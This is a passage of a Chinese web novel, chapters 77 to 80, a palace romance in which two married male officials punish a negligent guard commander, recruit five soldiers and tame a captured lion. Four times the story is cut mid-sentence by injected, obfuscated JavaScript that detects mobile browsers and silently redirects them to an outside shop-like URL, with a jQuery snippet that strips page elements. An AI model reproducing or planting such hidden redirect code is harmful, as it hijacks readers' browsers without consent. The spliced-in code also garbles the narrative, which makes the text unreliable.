“咔。” 燕修延咬碎一颗瓜子仁,慢悠悠将瓜子皮丢在桌上,挑眉嗤笑:“说实话了嘿。” 黄轩瞬间清醒,脸上的怒火荡然无存,只剩下无边惶恐,连连磕头:“陛下!臣……臣不是故意的,臣一时失言——” “过来。” 虞睿祥朝凤嫔招了招手。 凤嫔敛了戾气,缓步走到虞睿祥身边坐下。 虞睿祥亲自为她倒了杯热茶,语气平和:“歇会儿,朕来。” “你是觉得,让你守着围场,屈才了,是么?” 虞睿祥起身一步步走到黄轩面前,抬脚学着凤嫔方才的模样,一脚将黄轩再次踹翻在地。 帝王之威,压得人连喘息都不敢。黄轩连疼都不敢喊出声,连滚带爬地重新跪好,浑身发抖:“臣不敢。” 燕修延在一旁好心提醒,语气里满是戏谑:“你已经被革职了,现在该自称草民。” 黄轩脸色惨白,只能屈辱地改口:“草民……草民不敢。” 虞睿祥垂眸看他:“那你说说,你能胜任什么职务?” 黄轩沉默不语。 自幼爹娘便说他天生贵气,将来必成大官,他心底一直觉得,自己起码能做到尚书之位。 燕修延嗤笑一声,伸手指向身边的谢伟恒:“你觉得自己比得过谢大人吗?——算了吧,你连根指头都比不上。” 他又指了指自己,意气风发:“我,当朝大将军,监察司正使,官居三品,你觉得,我这个位置,你坐得稳吗?” 黄轩嘴上不说,眼神却暴露了心思—— 他打心底看不上燕修延这般年轻上位的人,更觉得自己靠着凤嫔这层关系,才是最该做天子近臣的人。 燕修延将他那点不服尽收眼底,轻笑一声,站起身朝他勾了勾手指:“行,不服气是吧。过来,过两招。我让你一只手……不,两只手都让你。” 黄轩没有动。 虞睿祥淡淡开口,掷地有声:“你若能赢,朕便让你坐他的位置。” 燕修延故作哀怨,转头对着谢伟恒耸了耸肩:帝王无情啊,我这位置坐得真是半点不安稳。 谢伟恒垂眸,不动声色地轻轻捏了捏他的指尖:没事,有我。 燕修延脸颊微热,悄悄拍了他一下:少动手动脚。 虞睿祥看得一清二楚,忍不住轻咳一声,无奈提醒:“当着朕的面,这般打情骂俏,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646235|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合适吧?” 燕修延当场无语,在心底疯狂翻了个白眼:打情骂俏?! 眼睛不好就趁早捐了吧! 这话他也就敢在心里想想。 另一边,黄轩却是真的信了。 他眼睛一亮,死死盯着虞睿祥:“君无戏言!” 虞睿祥面无表情:“自然。” 燕修延在心底默默摇头—— 他总算明白,陛下为何一直不肯重用黄轩了。 这人不是坏,是蠢。 燕修延慢悠悠走到院中,活动了一下手脚,心里已经盘算好——是一脚把人踹飞,还是直接踩脸更解气。 谁料黄轩根本不讲武德,不等燕修延站定,突然握拳,恶狠狠地直扑他面门,出手又快又狠,全然是想一招制敌。 燕修延眼底冷光一闪。 他侧身轻避,连手都没抬,依旧抱着胳膊,只随意抬起一脚,干脆利落地踹在黄轩脸上。 “嘭——” 黄轩像一袋破米般仰面重重倒下,脸上赫然印着一道斜长的鞋印,鼻血缓缓顺着脸颊流下,原本狰狞的神情僵在脸上,又惊又懵,滑稽又狼狈。 燕修延维持着侧踢的姿势,慢悠悠转了转脚腕,收回腿,神态轻松得仿佛只是踢开了一块绊脚石。 谢伟恒在廊下拊掌而笑,眼神温柔,毫不吝啬夸赞:“燕大人腿上功夫,当真了得。” 燕修延立刻扬起下巴,得意洋洋:“那是自然。” 笑容刚挂上去没片刻,他便觉耳尖一热——谢伟恒凑到他耳边,用只有两人能听见的低音,慢悠悠吐了一句:“看起来,十分柔韧。” 燕修延脸颊一烧,抬脚就要踹回去,可对上谢伟恒那双含着笑意的眼睛,瞬间警惕地后退一步。 他猛地想起这人从前说过的混账话——打是亲,骂是爱,嫌不够,再用脚踹。 想得美!啊呸! 虞睿祥走到瘫在地上的黄轩身边,语气里带着一丝淡淡的惋惜:“朕原本打算,狩猎结束便带你回京,给你寻一个安稳差事,让你不必远离父母妻儿。” 燕修延笑嘻嘻地补刀,刀刀致命:“押回京城关天牢里,也算是另一种离家近,陛下贴心吧。” 一句话,直接把被踹懵的黄轩激得猛地想挣扎起身——结果鲤鱼打挺没挺起来。 反倒屁滚尿流地爬在地上,哭喊不止:“陛下!臣……草民罪不至坐牢啊!” “噗——” 燕修延直接笑出声,弯腰看着他,语气玩味:“单就你失察失职,险些将陛下置于险境,这罪名,够砍头了。” 谢伟恒在旁淡淡接了一句,平静得吓人:“或许,他觉得砍头胜过坐牢。” 燕修延一拍巴掌,恍然大悟:“也是。砍了他,他妻子还能回娘家,或是再嫁,凭着先帝定下的律法,夫家拦不住。总比跟着这么个玩意儿,一辈子受委屈强。” 当年先帝为纳有夫之妇为妃,特意修改大虞律法:夫死,其妻可向官府申请归家或再嫁,夫家不得阻挠。 ———————————————— 下章预告: 燕修延附议:“臣来行刑,还没干过刽子手的活呢。” 虞睿祥看向谢伟恒,意思是让他别让燕修延起哄。 78. 两位断袖大官 黄轩的脸“唰”地一下青得吓人,血气瞬间冲上头顶,又僵在血管里,连指尖都泛出青白。 他根本不是那个意思,半点儿都不是! “陛下,草民——” 黄轩刚要张口辩解,凤嫔那双杏眼却先亮了起来,像是抓住了什么绝妙话头,抢先一步柔声开口,字字都往火上浇: “陛下,他这是想求个砍头痛快,摆明了是块难啃的硬骨头,嘴硬得很呢。” 虞睿祥被她逗得一哂,淡淡纠正:“你要说的是硬气吧。” 黄轩急得魂都快飞了,“咚咚咚”地往金砖地上猛磕,额头很快渗出血丝: “陛下!草民绝无此意!半点儿不敢有此狂心!求陛下明察啊!” 虞睿祥脸上那点若有若无的笑意,骤然淡得干干净净,眼神沉了下来,带着帝王独有的冷意: “那你倒是说说,怎么偏偏就这几个人昨夜擅自离岗,狮子又偏偏从他们看守的地方闯了进来? 说清楚,朕留你一条命。 说不清楚……” 后半句没说完,却比明刀明枪还要吓人。 黄轩急得浑身冒汗,舌头都打了结——他哪里知道为什么会这么巧? 他脑子里一片混乱,只能胡乱抓着一根稻草: “许是、许是那五人被人收买了!是他们!是他们里通外敌!” 凤嫔轻轻一叹,像是在为陛下分忧,语气却轻飘飘得要命: “陛下,依臣妾看,这人嘴硬得很,留着也是浪费口舌,斩立决吧。” 燕修延立刻跟着点头,一脸兴致勃勃,仿佛是什么新鲜差事: “臣愿往行刑,臣还从没当过刽子手呢,正好试试手。” 虞睿祥无奈地瞥向谢伟恒,眼神明明白白: ——管管你家这位,别在这儿瞎起哄。 谁料谢伟恒只是淡淡垂眸,语气平静得像在说今日天气:“臣可以帮燕大人往刀上喷酒,去去腥气。” 虞睿祥:“……” 他心累地摆了摆手,示意侍卫:“拉下去。” 黄轩这才真的慌了,以为立刻就要人头落地,手脚并用地往龙椅前爬,泪水鼻涕混在一起:“陛下!陛下饶命!草民真的没有谋害之心,更不曾参与谋逆啊——陛下!!” 两名侍卫一左一右架住他,像拖死狗一样往外拖,凄厉的求饶声渐渐远了。 凤嫔何等通透,一看便知陛下与两位大人有正事要议,屈膝福身,临走前又轻声补了一句:“陛下,您入林擒狮子时,臣妾留意到,中书令何大人神色很是不对劲,眼神飘移,坐立难安。” 说完,她温顺垂首:“臣妾告退。” 殿内一时安静下来。 燕修延立刻自告奋勇,往前一站,语气干脆利落:“陛下,臣去暗杀中书令,保证做得干净,半点痕迹不留,谁也查不出来。” 虞睿祥抬眼,淡淡伸手:“行,那你把他勾结同党的名单,完完整整给朕一份。” 燕修延眨眨眼,很自然地扭头看向谢伟恒。 谢伟恒无奈轻叹一声,语气坦诚:“这个,是真没有。” 玩笑归玩笑,燕修延收敛了几分嬉皮笑脸,神色正经了些:“陛下,或许咱们一开始就想岔了。 那几个护卫若是没偷偷找地方睡觉,说不定早就没命了。” 几条护卫的性命,在那些真正心狠手辣的人眼里,连草芥都不如。 虞睿祥自围场回来后,早已派暗卫从西南山脚重新上山搜寻,沿途确确实实找到了狮子脚印,可半点人影都没见着。 “听凤嫔娘娘这话,中书令必定有问题,肯定是有人故意把狮子赶进围场——可话说回来,谁有那么大本事,敢驱赶狮子?” 燕修延摸着下巴,眼睛忽然一亮,“啪”地一拍巴掌:“有了!晚上咱们再扮鬼去找他,吓一吓,诈一诈,说不定什么都招了!” 虞睿祥本以为他想出什么惊天妙计,一听这话,嘴角微抽:烂主意。 “这事跟复仇无关,你就不怕他事后回过神,察觉是有人故意扮鬼吓他?” 燕修延一脸无所谓,轻描淡写:“怕什么,一颗药就搞定。 直接让他忘了当晚发生过什么,醒过来只当是做了场噩梦。” 虞睿祥沉默片刻。 奇怪,他居然觉得,这烂主意……好像还真有点道理。 “此事再议。” 他收回思绪,转向正事,“此次犯错护卫众多,谢卿,依你之见,该如何处置?” 谢伟恒略一沉吟,想起燕修延之前提过,年大将军在边关曾带士卒开荒屯田: “可将他们发配边陲,开荒垦田。除第一年供给口粮,往后衣食,全从他们自己耕种的粮食里出。” 燕修延眼睛一亮,打了个响指:“这个主意好!累得他们倒头就睡,根本没精力胡思乱想,再把黄轩一并扔过去,省得在眼前碍眼!” 他心里却悄悄打起另一番算盘—— 要不,回头在谢府里辟一片小菜园,天天让谢伟恒亲自打理? 累得筋疲力尽,看他还能不能满脑子都是那些不正经的念头。 燕修延偷偷瞥了谢伟恒一眼,心里小算盘打得“噼里啪啦”响。 处置之事定下,虞睿祥又吩咐:“余下未曾私自出营的二十五人,谢卿去见其中五人,问问详情。” 那二十五人里,已有二十人承认彼此是相互慰藉的关系,唯独剩下这五个,是同乡一伙,性子格外执拗。 内侍回来禀报,说那五人谁都不见,只愿见燕修延。 燕修延抱着茶杯,乐得龇牙咧嘴,得意洋洋地看向谢伟恒:“没想到啊没想到,你谢大人的名号,也有不好使的一天!” 他放下茶杯,装模作样地想甩一甩宽袖摆个架势,结果一抬手才想起——今日穿的是束袖劲装,甩不起来。 谢伟恒低笑一声,从容跟上他的脚步,语气温淡,却带着几分亲昵:“毕竟,我只是假借燕大人之威的狐狸。” 虞睿祥摸了摸腮帮子,莫名牙酸。 燕修延往椅上一坐,姿态随意又自在,笑眯眯地望着面前五个衣着朴素:“说说吧,为什么非要见我才肯开口?” 为首那个黑脸膛的汉子,声音粗声粗气,却透着一股实在:“那狮子是你亲手活捉的,你是条真汉子!俺们自己有眼睛看,你不是旁人嘴里说的那种大奸臣。” 燕修延尾巴都快翘起来了,得意地冲谢伟恒挑了挑眉,眼神明晃晃写着:听见没,人家说你是白面书生,中看不中用。 谢伟恒只是淡淡一笑,不恼也不辩。 是或不是,只要燕修延知道,便够 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646236|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 燕修延一眼便读懂他眼底的意思,耳根微微一热,默默把脸扭回去,继续正色问话: “你们可知其他人那些荒唐行径?” 黑脸汉子满脸不屑,嗤了一声:“知道。所以哥几个跟他们玩不到一块去,道不同不相为谋。” “那为何不检举揭发?” 另一人接过话,语气里满是看透世事的疲惫:“姓黄的跟他们本就是一路货色。俺们也想过往上告,可谁知道告上去,会不会又撞到他们自己人?” “就是。” 旁边一人点头,“还不如老老实实攒点银子,将来回家,给俺媳妇和老娘花。” 燕修延随口一问:“就不想姑娘?” 黑脸汉子挠了挠头,黝黑的脸上竟露出几分不好意思:“想俺媳妇。哪敢想别的姑娘,要是叫俺媳妇知道,三条腿都能给俺打断咯!实在想得紧了,就去舞一通流星锤,累得浑身发软,倒头就睡,什么心思都没了。” 燕修延看向其余四人:“你们呢?” “俺娘说,还没成亲,不能乱来,俺就跟着几位哥哥消磨精力。” “我有空就倒腾我的地景盘,才没工夫想那些事。” “一筒箭射完,捡回来再射,胳膊抖得抬不起来,自然就睡了。” 五人七嘴八舌,说得朴实又真切。 燕修延越听眼睛越亮。 单听这几句话,他便知道——这五人,个个都是有真本事的人。 他当即看向为首的黑脸汉子梁永诚:“你是他们口中的老大哥,流星锤舞来看看。 梁永诚也不推辞,上前一步,伸手抓起墙角那对沉甸甸的流星锤——寻常两个壮汉才能勉强抬起一只,在他手中却轻如无物。 只见他沉腰扎马,大喝一声,双锤呼啸而出,风声猎猎。 “轰——!” 一锤砸下,院中那张坚实的石桌瞬间四分五裂,碎石飞溅。 “好!” 燕修延忍不住拍手叫好,又看向那个沉默寡言、身材挺拔的射手程旭:“你的箭法,也展示一番。” 程旭不言不语,弯弓搭箭。 “咻——” 第一箭直穿靶心。 紧跟着,第二箭、第三箭,竟一前一后,从同一个箭洞里穿了过去。 箭箭穿心,分毫不差。 燕修延看得眼睛发亮,激动地扭头对谢伟恒道:“这次可真是捡到宝了!” 谢伟恒站在一旁,看着他满眼放光、兴致勃勃地盯着别人,语气忽然幽幽一沉,带着几分不易察觉的酸意:“燕大人这般目光灼灼地看着别人,可曾想过……我的感受?” 他声音不算大,可院子也就这么大,几人又站得近。 那五个耿直汉子齐刷刷看了过来。 围场偏远,消息闭塞,他们压根不知道,眼前这两位大人,早已是陛下亲赐的婚。 五双眼睛瞪得溜圆,目光在两人之间来回打转,里面清清楚楚写着一行字: 哇—— 活的,两位断袖大官,还是一对! ————————————————— 虞睿祥:朕有点后悔给他俩赐婚了,现在收回还来的急不!在线等,挺急的! 下章预告: 依旧没想好,嘻嘻?? 79. 真的就是随手摘的! 燕修延不轻不重地“啧”了一声。 瞧这一个个直愣愣的眼神,大虞律法里,男子与男子成亲本就是光明正大、合法合规的事。 营里这般的成对儿都有十对,怎么到了他们眼里,倒跟见了什么稀罕怪物似的。 燕修延懒得解释,径直跳过这个话题,看向五人中那个爱摆弄小物件的青年:“你是田靖吧?你说的那个地景盘,搁哪儿呢?” 田靖眼睛一亮,立刻热情地往前引着路,挠着后脑勺憨态可掬:“大人,您要是看了觉得好,能不能……能不能把那只狮子借我摸一下?就一下!” 燕修延抬手一拍脑门,这才恍然想起——他还抓了一头威风凛凛的狮子,早被抛到九霄云外去了。 田靖的地景盘就摆在一旁的石桌上,用料简陋,全是就地取材的泥土、木块、碎石,可手艺精巧,山川沟壑、道路营寨,一一缩于方寸之间,竟称得上精致玲珑。 燕修延拿起旁边那张卷了边的简陋地图,对照着看了两眼:“你就照着这张图做的?” 田靖腰杆挺得笔直,对自己的手艺十足十的自信:“是,大人。我不光照着图,还把围场周遭里外全都走了一遍,不敢说一草一木都原样还原,可这沟壑、道路、方位,绝对分毫不差。” 燕修延点点头,指尖在地图上轻轻一点,将代表西南界桩的小木块往旁边挪了半寸。 “你们五个,可有从军的想法?” 梁永诚没有急着回答,先是飞快扫了一眼身旁四人,见众人都悄悄递来肯定的眼神,这才攥紧拳头,粗声粗气地用力一点头:“有!大丈夫活在世上,就该马皮裹着、战死沙场!” 田靖在一旁小声提醒:“大哥,是马革裹尸。” 梁永诚满不在乎地一挥手:“都差不多!别整那些文绉绉的词!” 燕修延就喜欢他这股直爽劲儿,哈哈大笑:“就是,最烦酸文假醋。那你就不怕,真战死在了沙场上,家里的媳妇、老娘,伤心难过?” 梁永诚黝黑的脸上露出几分实在,挠了挠头:“话肯定要说得大气一点,可心里头,那肯定是拼了命也要活着,带着军功回去,让家里人跟着过上好日子啊!” “好!” 燕修延重重一点头,看向五人,眼神郑重,“你们几人的本事,个个都堪大用。我这就去回禀陛下,举荐你们。” 说罢,他对着五人郑重拱手:“诸位,回见。” 梁永诚等人齐齐抱拳行礼,声音整齐洪亮:“大人回见!” 燕修延与谢伟恒并肩转身,刚走出几步,身后便传来几人压低了的议论声。 “方才大人说的那句……可看大勇,是啥意思?是要考考咱们勇不勇猛?” “是可堪大用……说你有大本事,能担得起大责任。” “真的?哄人的吧,咱们能有啥大本事……” 燕修延听在耳里,忍不住轻笑一声:“这几个人,倒是挺有意思。” 他随手从路边草丛里摘了一朵淡紫色的小花,脚步一顿,侧身抬手,轻轻别在了谢伟恒的耳鬓,嬉皮笑脸,眉眼弯弯:“鲜花配狐狸,正合适。” 谢伟恒眸底漾开一层浅淡的笑意,不闪不避,反而抬手一握,轻轻攥住了燕修延还没来得及收回的手,指腹微微摩挲着他的指尖。 “燕大人,可知道这是什么花?” 燕修延随口一问:“什么花?” “鸢尾花。” 谢伟恒声音放轻,温柔得像晚风拂过青草,他抬手也摘下一朵,轻轻放在燕修延掌心,一字一句,清晰入耳: “死生契阔,至死不渝。” 燕修延:“……” 他真的、真的就只是随手一摘。 心跳莫名一乱,他飞快缩回手,掌心那朵花却没舍得丢。 耳尖不受控制地泛起一层薄红,故作镇定地偏过头:“……先去找陛下。” 虞睿祥表面上在听奏报,注意力却半点没在内容上,目光轻飘飘落在两人身上—— 谢伟恒耳边别着一朵淡紫鸢尾,清雅又惹眼;燕修延右手紧紧攥着,指缝间还露出一小片花瓣。 虞睿祥在心里默默啧了一声。 可以啊,这进展,够快的,这就互相送花表白上了。 “陛下?陛下?” 燕修延抬起左手,在他眼前轻轻晃了晃,才把人从神游中唤回来。 虞睿祥收回目光,神色一正,淡淡应道:“嗯,方才所言朕听见了。这五人既有本事又忠心,可直接划入年大将军麾下,好生栽培。” 燕修延抬头看了一眼天色,夕阳西沉,暮色渐浓,脸上立刻堆起一脸乖巧的笑,搓了搓手:“嘿嘿,陛下,这天色也不早了……” 虞睿祥一眼就看穿了他那点小心思,失笑摇头:“行了,朕留你们二人一同用膳。” 燕修延当即喜上眉梢,等着御膳上桌。 可等膳食一一端上来,他定睛一看—— 板栗烧鹿肉、杜仲参胶鹿肉汤、人参鹿肉羹……清一色温热大补。 燕修延脸上的笑容“唰”地一下就没了,“噌”地一声站起身,拉着谢伟恒就往外走:“臣忽然想起还有要事,先行告退!” 成亲之后,但凡跟让人上火、大补沾边的东西,那是半口都不能沾。 更不能让谢伟恒碰。 这人最会装可怜,到时候皱着眉说一句不舒服,最后还不是要自己心软哄着,顺着他的意来。 哼,想得美! 虞睿祥看着两人风风火火消失的背影,一脸莫名其妙。 方才眼巴巴要留下来蹭饭的是你,结果菜刚端上来,跑得比兔子还快。 莫名其妙。 燕修延拉着谢伟恒走得飞快,一路嘀咕:“怪不得陛下一晚上能召好几个妃子,这吃的也太补了,谁顶得住。” 谢伟恒忍笑问道:“那我们晚上吃什么?” 燕修延随手拦了个宫人,打听清楚行宫厨房的位置,二话不说,拉着谢伟恒直奔后厨,捡着清淡小菜、面点汤粥吃饱喝足,临走还不忘顺手拎了一只刚出锅、香气扑鼻的烧鸡。 那头被活捉的狮子,早已被人彻底遗忘在燕修延住的院子里。 整整一天,四肢被粗藤捆得结结实实,嘴巴也被勒得严严实实,滴水未进,粒米未沾,饿得前胸贴后背,肚子里咕咕直叫。 远远闻到烧鸡的香味,原本蔫蔫的狮子猛地一振,见到燕修延,喉咙里发出一阵委屈又可怜的低低哼唧声,像只受了委屈的大猫。 燕修延蹲下身,慢悠悠解开它嘴巴上的藤蔓,随手扯下一只油亮亮的鸡腿,在狮子鼻子前晃了晃,故意逗它:“想吃?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646237|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狮子一双圆溜溜的眼睛里,只剩下那只香喷喷的鸡腿,视线跟着鸡腿左右转动,张嘴要咬,却又被燕修延轻巧避开。 “啪。” 燕修延屈指,在它湿漉漉的鼻子上轻轻弹了一下。 “听清楚,想吃饭,就得认我为主。以后乖乖听我的,我天天带你吃香的喝辣的。要是不听——” 他语气一沉,故意吓唬它:“今晚就把你扒皮做大氅,骨头拿去泡酒,至于狮鞭嘛,正好献给陛下,他铁定喜欢。” 不远处,吃完饭出来消食、顺路想来看看狮子的礼部尚书宁大人,刚好听见这一句,脚步一顿,默默在心里记了一笔: ——陛下喜欢狮鞭。 “呦,宁大人,来看狮子啊?” 燕修延蹲在地上,扬了扬手里的鸡腿,算是打了个招呼。 礼部尚书走上前,一脸好奇:“燕大人,你这是在喂它?” 燕修延摇了摇手指,一脸高深:“不,我在让它认主。” 礼部尚书顿时一脸崇拜,看向燕修延的眼神都带着亮光:“燕大人,你可真是厉害!连猛兽都能驯服!” 谢伟恒自始至终没吭声,只是不动声色地往前一步,站到了燕修延的另一侧,恰好将礼部尚书与燕修延隔在了两边,姿态淡淡,却带着几分不容靠近的占有欲。 燕修延瞥他一眼,忍不住取笑:“谢大人晚上吃的是菜,调的怕不是醋碟吧?” 礼部尚书目光一转,恰好看见谢伟恒耳边别着的那朵鸢尾花,眼睛一亮,笑呵呵问道:“谢大人怎么忽然想起戴花了?倒是雅致。” 谢伟恒唇角微扬,淡淡一笑,语气平静,却字字清晰:“燕大人送的。” “哦~” 礼部尚书瞬间懂了,拖长了语调,脸上挂起一副心领神会的暧昧笑容,不住点头:“陛下赐婚,当真是天赐良缘,赐对了!燕大人都亲自送花给谢大人了,真是情深意重啊~” 燕修延:“……” 他真的很想大吼一句——他真的就是随手摘的! 可谢伟恒在意的,从来是不是随手,而是那朵花。 至于礼部尚书——这人长了一张全京城最会传闲话的嘴,说了也不会信,转头就得添油加醋传遍半个行宫。 造孽啊! 手欠!让你手欠! 燕修延心里默默哀嚎,没好气地抬手,在狮子脑袋上呼了一巴掌,力道轻得跟抚摸差不多,随后把那只鸡腿狠狠塞进了狮子嘴里。 狮子一边委屈地哼哼,一边大口啃着鸡腿,香得嘎嘎作响,可一只鸡腿,压根不够它塞牙缝的。 吃完,它立刻抬起头,眼巴巴地盯着燕修延手里剩下的那只烧鸡,口水都快流下来了。 燕修延把空着的手伸到它鼻子前,沉声道:“记住了,以后都听我的,就天天有烤肉吃。” 礼部尚书在一旁看得惊奇,忍不住问:“燕大人,它……它听得懂人话?” 话音刚落,狮子便伸出带着细细倒刺的舌头,轻轻舔了舔燕修延的掌心,温顺又乖巧。 燕修延嘴角一扬,转头看向谢伟恒,抬了抬下巴:“谢大人,帮个忙。” ———————————————— 鸢尾花:666你俩清高,摘我送对方 作者提醒:此上火非比上火哦~ 80. 上山喂蚊子 谢伟恒蹲下身,指尖轻缓地解开缠在狮子前爪上的枯藤。那藤蔓勒得极紧,早已深深陷进皮肉里,他动作极轻,生怕惊着这头刚从困厄中解脱的猛兽。 一旁的礼部尚书早已吓得面无血色,连退数步,声音都打着颤:“就、就这么解开了?万一它野性发作,伤人可如何是好?” 燕修延嗤笑一声,随手撕下另一只油光锃亮的鸡腿,径直塞进狮子微张的嘴里,语气轻描淡写,却带着不容置疑的霸道:“那我就再揍它一次。” 狮子像是真的听懂了人话,浑身一僵,连忙囫囵将鸡腿咽了下去,连低吼都不敢多发一声。 后腿藤蔓尽数解开,狮子撑着身子想要站起,可四肢麻得不听使唤,刚一发力便踉跄着重重趴回地上,喉咙里发出一阵惶恐又委屈的低呜。 这是什么古怪又无力的感觉? 燕修延见状,当即拍着大腿笑得前仰后合:“哈哈哈哈——它脚麻了!这兽王也有这般狼狈时候!” 好半晌,狮子才颤巍巍地站稳,兽瞳先扫了一眼身旁气定神闲的谢伟恒,再瞥了眼笑得欠揍的燕修延,最后目光死死落在脸色发白的礼部尚书身上。 只一眼,它便在心里有了决断—— 此人最弱,先吞了他填填肚子。 狮子刚抬起前爪,蓄势欲扑,脑袋上便结结实实挨了一巴掌。 重获自由、饥火中烧的兽王脾气瞬间被点燃,喉间滚出低沉可怖的咆哮,鬃毛根根竖起。 燕修延却像是没看见一般,忽然偏头看向左侧,语气故作惊诧:“宁大人,你看那是什么?” 礼部尚书下意识顺着他指的方向望去。 就在这一瞬,谢伟恒身形微动,快得只余下一道残影,单手扣住狮子颈后皮毛,猛地发力一掼。 庞然巨兽竟被他轻而易举摁倒在地,耳旁的花纹丝不动,气息平稳如常。 礼部尚书闻声回头,只见燕修延还悠哉举着半只烧鸡,谢伟恒则立在一旁,唇角噙着一抹浅淡温和的笑。 他惊得张大了嘴,半天合不拢:“燕、燕大人!您单手便将狮子放倒?实、实乃天生神力啊!” “一般一般,天下第三罢了。” 燕修延嘴上谦虚,眼底却藏着几分狡黠的得意。 心里早打好了算盘—— 如此一来,这礼部尚书定然忘了先前自己给谢伟恒送花的荒唐事,转头只会四处宣扬他燕修延单手降狮的威风。 燕修延伸手捏了捏狮子软乎乎的前爪,又将手掌摊到它面前,语气带着几分逗弄:“来,大白,握手。” 狮子从鼻子里重重哼出一口气,满脸不屑。 谢伟恒不动声色地往燕修延身后一站。 方才还桀骜不驯的兽王瞬间温顺,乖乖抬起前脚,轻轻搭在燕修延掌心,低低“吼”了一声,像是在服软。 “真乖。” 燕修延将剩下的烧鸡丢到它面前。 狮子立刻狼吞虎咽,片刻便啃得干干净净。 礼部尚书看得眼热,一脸期待凑上前:“燕大人,若是我也给它一只烧鸡,它会不会也与我握手?” 燕修延忽然呲牙一笑,眼神微微一沉,语气阴森得叫人头皮发麻:“它会与你‘亲密接触’,将你拆吞入腹,血肉相融,骨头都不剩。可要试试?” 礼部尚书吓得打了个寒颤,连连摆手:“不了不了!我忽然想起还有要事,先去找漠大人!” 话音未落,便拔腿仓皇逃窜,生怕慢一步便成了狮子的点心。 燕修延随即吩咐下人寻来一个巨大铁笼,又让人多取一只烧鸡。 他拍了拍狮子的屁股,语气诱哄:“进去,进去就有烧鸡吃。” 狮子扭头便要咬燕修延,鼻头却先挨了一记带着烧鸡香气的巴掌。 它舔了舔鼻子,方才还凶狠的眼神瞬间清澈,不情不愿地钻进了铁笼。 燕修延将烧鸡与一碗清水放入笼中。 而后,他拿起谢伟恒的素色手帕,慢条斯理地擦着手:“这烧鸡做得太香,油脂沾手,味道擦都擦不掉。” 晚些去见中书令,可不能靠得太近,免得叫他闻出味儿来。 谢伟恒忽然上前,轻轻执起他的手,将他指尖凑到自己鼻下,声音低柔悦耳:“确实很香。” 燕修延耳尖微热,猛地抽回手,故作镇定:“……你最好是在说烧鸡香。” 谢伟恒眼底笑意更深:“那燕大人以为,我说的是哪种香?” “少贫嘴。” 燕修延轻咳一声,偏过头去,“收拾收拾,一会儿便去找你那位上司‘好好谈心’。” 更衣时,一朵蔫软的小花从燕修延袖中滑落,正是谢伟恒送他的那朵。 燕修延弯腰捡起,指尖摩挲着微微发卷的花瓣,心里想着扔了也罢…… 可眼角余光一瞥见谢伟恒。 谢伟恒正含笑望着他。 行吧。 那点嫌弃瞬间烟消云散。 燕修延默不作声取过一只茶盏,倒上半盏凉透的清水,将花小心插了进去。 “走了。” 中书令住的地方,被拆毁的房门早已重新修好。 燕修延这次懒得走正门,足尖一点,便从窗棂轻巧跃入。 屋内空无一人,床榻整洁,连半分人气都没有。 他在屋里转了一圈,确认无误:确实没有人。 出了院子,燕修延随手撩开披散在脸颊的发丝,仰头望向立在树梢上的谢伟恒,语气带着几分不爽:“他跑哪儿去了?” 谢伟恒轻轻摇头,声音清浅:“许是不敢独自留宿,去别的大人府上借住了。” “啧。” 燕修延白跑一趟,心里不痛快,当即折返回去,将中书令的房间翻得乱七八糟,顺带把翻出来的一叠银票麻利揣进怀里。 这下才算心满意足。 谢伟恒看着他孩子气的模样,温声提议:“要不要去山上转转?” 两人悄无声息摸至行宫西南界桩处。 夜色深沉,月色朦胧,林间树木枝桠交错,张牙舞爪,恍若幢幢鬼影。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646238|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风穿林叶,发出呜呜咽咽的声响,偶尔有夜鸟惊飞,翅膀扑棱的声音在寂静山林里格外清晰。 燕修延不自觉往谢伟恒身边靠了靠,脚步都轻了几分。 又走了一段,他终于忍不住小声嘀咕:“我肯定是脑子进水了,大半夜陪你在山上喂蚊子。” 谢伟恒反手握住他的手腕,牵着他往前走,声音沉稳安心:“白日我看田靖摆的地景盘,半山腰处,似有一处可藏人的隐秘之地。” 燕修延瞬间收敛了玩笑神色。 